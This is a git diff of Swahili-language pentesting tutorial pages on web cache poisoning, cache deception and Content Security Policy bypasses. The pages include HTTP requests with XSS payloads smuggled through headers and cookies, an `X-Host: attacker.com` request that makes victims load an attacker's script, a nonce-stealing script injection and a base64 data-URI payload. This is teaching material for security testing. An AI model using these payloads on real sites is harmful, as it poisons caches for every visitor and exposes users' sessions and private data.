Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na **kuondolewa kwa CSP na unsafe-eval** na matumizi ya mbinu za usimamizi wa DOM za jQuery (ambazo zinatumia [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kupitisha scripts kwa [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) wakati wa kuingiza DOM), unyakuzi bado unawezekana.
Ingawa udhaifu huu ni muhimu, unyakuzi wake kwa kawaida unategemea mwingiliano wa mtumiaji: kutembelea ukurasa, kuingiza mzigo wa XSS, na kuamsha kitufe cha “Ongeza”.

View File

@ -16,8 +16,8 @@ Uharibifu wa cache unalenga kubadilisha cache ya upande wa mteja ili kulazimisha
Utendaji wa shambulio la uharibifu wa cache unajumuisha hatua kadhaa:
1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayonufaisha mshambuliaji.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayeingia kwenye ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
### Ugunduzi: Angalia vichwa vya HTTP
@ -25,7 +25,7 @@ Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinach
### Ugunduzi: Kihesabu makosa ya caching
Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).
Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi hilo kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua lina udhaifu (na unaweza hata kufanya DoS).
Unaweza kupata chaguzi zaidi katika:
@ -43,27 +43,27 @@ Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c
```
### Pata jibu hatari kutoka kwa seva ya nyuma
Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na **wapi** inavyo **onyeshwa** au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)
Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)
### Pata jibu lililohifadhiwa
Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya **kuutumia** vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuutumia vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halikuhifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa wakati wa pili rasilimali itahifadhiwa tena: `Cache-Control: public, max-age=1800`
Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800`
Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazina ufunguo. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.
Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua wakati katika sekunde kitu kimekuwa kwenye cache ya proxy.
Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza **kutumika bila kutarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Uharibu wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.
Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza kutumika **kwa njia isiyotarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.
## Mifano ya Kutumia
### Mfano rahisi zaidi
Header kama `X-Forwarded-For` inarudishwa katika jibu bila kusafishwa.\
Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayeingia kwenye ukurasa atakuwa na XSS:
Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\
Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -79,13 +79,13 @@ cache-poisoning-to-dos.md
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.
Cookies pia zinaweza kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yanasafisha cache.
Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.
### Kutengeneza tofauti na vichomozi, urekebishaji na nukta <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika vuln ambayo James Kettle alipata kwenye tovuti ya Github:
Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -168,7 +168,7 @@ GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasai
### Rack Middleware (Ruby on Rails)
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
### 403 and Storage Buckets
@ -176,7 +176,7 @@ Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Sto
### Injecting Keyed Parameters
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililosajiliwa la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa kwa URL. Kuandika upya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.
### User Agent Rules
@ -207,7 +207,7 @@ Mambo mengine ya kujaribu:
Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuangalia **taarifa za siri** za watumiaji ambao walifika hapo awali.
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.
Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).

View File

@ -7,7 +7,7 @@
- **HTTP Header Oversize (HHO)**
Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaou supported na seva ya wavuti lakini mdogo kuliko ule unaou supported na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa:
Tuma ombi lenye ukubwa wa kichwa mkubwa kuliko ule unaounga mkono na seva ya wavuti lakini mdogo kuliko ule unaounga mkono na seva ya cache. Seva ya wavuti itajibu kwa jibu la 400 ambalo linaweza kuhifadhiwa:
```
GET / HTTP/1.1
Host: redacted.com
@ -44,13 +44,13 @@ Invalid Header
```
- **HTTP Method Override Attack (HMO)**
Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama `X-HTTP-Method-Override`, `X-HTTP-Method` au `X-Method-Override`. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linahifadhiwa:
Ikiwa seva inasaidia kubadilisha njia ya HTTP kwa kutumia vichwa kama `X-HTTP-Method-Override`, `X-HTTP-Method` au `X-Method-Override`. Inawezekana kuomba ukurasa halali kwa kubadilisha njia ili seva isiupe, hivyo jibu mbaya linapata uhifadhi:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
- **Bandari Isiyo na Funguo**
- **Unkeyed Port**
Ikiwa bandari katika kichwa cha Host inarudishwa katika jibu na haijajumuishwa katika ufunguo wa cache, inawezekana kuielekeza kwenye bandari isiyotumika:
```
@ -92,7 +92,7 @@ Not Found
```
- **Path normalization**
Baadhi ya kurasa zitarudisha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia ya URLdecoded:
Baadhi ya kurasa zitarudisha nambari za makosa zinapotuma data URLencode katika njia, hata hivyo, seva ya cache itafanya URLdecode njia na kuhifadhi jibu kwa njia iliyofanywa URLdecode:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com

View File

@ -5,22 +5,22 @@
Hii ni muhtasari wa mbinu zilizopendekezwa katika chapisho [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) ili kutekeleza mashambulizi ya cache poisoning **kwa kutumia tofauti kati ya cache proxies na seva za wavuti.**
> [!NOTE]
> Lengo la shambulizi hili ni **kufanya seva ya cache ifikirie kuwa rasilimali ya statiki inachukuliwa** ili iweze kuikumbuka wakati seva ya cache inahifadhi kama ufunguo wa cache sehemu ya njia lakini seva ya wavuti inajibu kwa kutatua njia nyingine. Seva ya wavuti itatatua njia halisi ambayo itakuwa ikipakia ukurasa wa dynamic (ambao unaweza kuhifadhi taarifa nyeti kuhusu mtumiaji, mzigo mbaya kama XSS au kuhamasisha kupakia faili ya JS kutoka kwenye tovuti ya washambuliaji kwa mfano).
> Lengo la shambulizi hili ni **kufanya seva ya cache ifikirie kuwa rasilimali ya statiki inachukuliwa** ili iweze kuikumbuka wakati seva ya cache inahifadhi kama ufunguo wa cache sehemu ya njia lakini seva ya wavuti inajibu kwa kutatua njia nyingine. Seva ya wavuti itatatua njia halisi ambayo itakuwa ikipakia ukurasa wa dynamic (ambao unaweza kuhifadhi taarifa nyeti kuhusu mtumiaji, mzigo mbaya kama XSS au kuhamasisha kupakia faili ya JS kutoka tovuti ya washambuliaji kwa mfano).
## Delimiters
**URL delimiters** hutofautiana kulingana na mfumo na seva, ikihusisha jinsi maombi yanavyopangwa na majibu yanavyoshughulikiwa. Baadhi ya delimiters za asili za kawaida ni:
**URL delimiters** hutofautiana kulingana na mfumo na seva, na kuathiri jinsi maombi yanavyopangwa na majibu yanavyoshughulikiwa. Baadhi ya delimiters za asili za kawaida ni:
- **Semicolon**: Inatumika katika Spring kwa mabadiliko ya matrix (e.g. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
- **Dot**: Inaelezea muundo wa majibu katika Ruby on Rails (e.g. `/MyAccount.css``/MyAccount`)
- **Null Byte**: Inakata njia katika OpenLiteSpeed (e.g. `/MyAccount%00aaa``/MyAccount`).
- **Newline Byte**: Inatenganisha vipengele vya URL katika Nginx (e.g. `/users/MyAccount%0aaaa``/account/MyAccount`).
Delimiters maalum zinaweza kupatikana kufuatia mchakato huu:
Delimiters maalum zaidi zinaweza kupatikana kufuatia mchakato huu:
- **Hatua ya 1**: Tambua maombi yasiyoweza kuhifadhiwa na uyatumie kufuatilia jinsi URLs zenye delimiters zinazowezekana zinavyoshughulikiwa.
- **Hatua ya 2**: Ongeza viambatisho vya nasibu kwenye njia na linganisha jibu la seva ili kubaini kama herufi inafanya kazi kama delimiter.
- **Hatua ya 3**: Ingiza delimiters zinazowezekana kabla ya viambatisho vya nasibu ili kuona kama jibu linabadilika, ikionyesha matumizi ya delimiter.
- **Hatua ya 1**: Tambua maombi yasiyoweza kuhifadhiwa kwenye cache na uyatumie kufuatilia jinsi URLs zenye delimiters zinazowezekana zinavyoshughulikiwa.
- **Hatua ya 2**: Ongeza viambatisho vya nasibu kwenye njia na linganisha jibu la seva ili kubaini ikiwa herufi inafanya kazi kama delimiter.
- **Hatua ya 3**: Ingiza delimiters zinazowezekana kabla ya kiambatisho cha nasibu ili kuona ikiwa jibu linabadilika, kuashiria matumizi ya delimiter.
## Normalization & Encodings
@ -29,24 +29,24 @@ Delimiters maalum zinaweza kupatikana kufuatia mchakato huu:
### **Encodings**
Seva tofauti za HTTP na proxies kama Nginx, Node, na CloudFront zinatafsiri delimiters kwa njia tofauti, zikileta kutokuelewana kati ya CDNs na seva za asili ambazo zinaweza kutumiwa. Kwa mfano, ikiwa seva ya wavuti inafanya mabadiliko haya `/myAccount%3Fparam``/myAccount?param` lakini seva ya cache inahifadhi kama ufunguo njia `/myAccount%3Fparam`, kuna kutokuelewana.&#x20;
Seva tofauti za HTTP na proxies kama Nginx, Node, na CloudFront zinatafsiri delimiters kwa njia tofauti, na kusababisha kutokuelewana kati ya CDNs na seva za asili ambazo zinaweza kutumiwa. Kwa mfano, ikiwa seva ya wavuti inafanya mabadiliko haya `/myAccount%3Fparam``/myAccount?param` lakini seva ya cache inahifadhi kama ufunguo njia `/myAccount%3Fparam`, kuna kutokuelewana.&#x20;
Njia moja ya kuangalia kutokuelewana hizi ni kutuma maombi ya URL ikitafsiri herufi tofauti baada ya kupakia njia bila tafsiri yoyote na kuangalia kama jibu la njia iliyotafsiriwa lilitoka kwenye jibu la cache.
Njia moja ya kuangalia kutokuelewana hizi ni kutuma maombi ya URL kuandika herufi tofauti baada ya kupakia njia bila uandishi wowote na kuangalia ikiwa jibu la njia iliyoundwa lilitoka kwenye jibu la cache.
### Dot segment
Kuweka sawa kwa njia ambapo dots zinahusika pia ni ya kuvutia sana kwa mashambulizi ya cache poisoning. Kwa mfano, `/static/../home/index` au `/aaa..\home/index`, baadhi ya seva za cache zitakumbuka hizi njia kama funguo wakati nyingine zinaweza kutatua njia na kutumia `/home/index` kama funguo ya cache.\
Kama ilivyokuwa hapo awali, kutuma maombi haya ya aina na kuangalia kama jibu lilipatikana kutoka kwenye cache husaidia kubaini kama jibu kwa `/home/index` ni jibu lililotumwa wakati hizo njia zinapohitajika.
Kuweka sawa kwa njia ambapo dots zinahusika pia ni ya kuvutia sana kwa mashambulizi ya cache poisoning. Kwa mfano, `/static/../home/index` au `/aaa..\home/index`, baadhi ya seva za cache zitakumbuka hizi njia na wenyewe kama funguo wakati wengine wanaweza kutatua njia na kutumia `/home/index` kama funguo ya cache.\
Kama ilivyokuwa hapo awali, kutuma maombi ya aina hii na kuangalia ikiwa jibu lilipatikana kutoka kwenye cache husaidia kubaini ikiwa jibu kwa `/home/index` ni jibu lililotumwa wakati hizo njia zinapohitajika.
## Static Resources
Seva kadhaa za cache daima zitakumbuka jibu ikiwa itatambuliwa kama statiki. Hii inaweza kuwa kwa sababu ya:
Seva kadhaa za cache daima zitakumbuka jibu ikiwa inatambuliwa kama statiki. Hii inaweza kuwa kwa sababu ya:
- **Kiambatisho**: Cloudflare daima itakumbuka faili zenye viambatisho vifuatavyo: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Inawezekana kulazimisha cache kuhifadhi jibu la dynamic kwa kutumia delimiter na kiambatisho cha statiki kama ombi kwa `/home$image.png` itakumbuka `/home$image.png` na seva ya asili itajibu na `/home`
- **Mikoa ya statiki inayojulikana**: Mikoa ifuatayo ina faili za statiki na hivyo majibu yao yanapaswa kuhifadhiwa: /static, /assets, /wp-content, /media, /templates, /public, /shared
- **Mikoa ya statiki inayojulikana**: Mikoa ifuatayo ina faili za statiki na kwa hivyo jibu lao linapaswa kuhifadhiwa: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Inawezekana kulazimisha cache kuhifadhi jibu la dynamic kwa kutumia delimiter, mkoa wa statiki na dots kama: `/home/..%2fstatic/something` itakumbuka `/static/something` na jibu litakuwa `/home`
- **Mikoa ya statiki + dots**: Ombi kwa `/static/..%2Fhome` au kwa `/static/..%5Chome` linaweza kuhifadhiwa kama lilivyo lakini jibu linaweza kuwa `/home`
- **Faili za statiki:** Faili maalum fulani daima huhifadhiwa kama `/robots.txt`, `/favicon.ico`, na `/index.html`. Ambazo zinaweza kutumiwa vibaya kama `/home/..%2Frobots.txt` ambapo cache inaweza kuhifadhi `/robots.txt` na seva ya asili inajibu kwa `/home`.
- **Faili za statiki:** Faili maalum zingine daima zinakumbukwa kama `/robots.txt`, `/favicon.ico`, na `/index.html`. Ambazo zinaweza kutumiwa vibaya kama `/home/..%2Frobots.txt` ambapo cache inaweza kuhifadhi `/robots.txt` na seva ya asili inajibu kwa `/home`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha anuwai ya vipengele kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
- Implemented via response header:
```
@ -25,7 +25,7 @@ CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
### Defining Resources
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
```bash
default-src 'none';
img-src 'self';
@ -69,8 +69,8 @@ object-src 'none';
- `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, haipendekezwi kwa sababu za usalama.
- `'unsafe-hashes'`: Inaruhusu wakala maalum wa matukio ya ndani.
- `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama `<script>` au `<style>` za ndani, haipendekezwi kwa sababu za usalama.
- `'nonce'`: Orodha ya kibali kwa scripts maalum za ndani zinazotumia nonce ya kificho (nambari inayotumika mara moja).
- Ikiwa una utekelezaji wa JS ulio na mipaka inawezekana kupata nonce iliyotumika ndani ya ukurasa kwa `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kuirudisha ili kupakia script mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haitahitajika), kama ilivyo katika:
- `'nonce'`: Orodha ya kibali kwa scripts maalum za ndani zinazotumia nonce ya kijasusi (nambari inayotumika mara moja).
- Ikiwa una utekelezaji wa JS ulio na mipaka, inawezekana kupata nonce iliyotumika ndani ya ukurasa kwa `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kuirudisha ili kupakia script mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haitahitajika), kama ilivyo katika:
<details>
@ -88,15 +88,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Inaruhusu skripti zilizo na hash maalum ya sha256.
- `'sha256-<hash>'`: Inaruhusu skripti zenye hash maalum ya sha256.
- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash.
- `'host'`: Inaelezea mwenyeji maalum, kama `example.com`.
- `https:`: Inapunguza URL kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizo tengenezwa kupitia JavaScript).
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka mfumo wa faili.
- `https:`: Inapunguza URLs kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizoundwa kupitia JavaScript).
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka kwenye mfumo wa faili.
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaovunja sheria katika ripoti ya uvunjaji (inafaa kwa ufuatiliaji wa makosa).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (vyanzo salama pekee vinaweza kupakia rasilimali kutoka vyanzo salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili pekee wakati ombi ni la asili tofauti.
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
- `'strict-origin-when-cross-origin'`: Inatuma URLs kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili tu wakati ombi ni la asili tofauti.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
## Sheria za CSP zisizo salama
@ -120,19 +120,19 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Kipande kinachofanya kazi:
Kazi ya payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
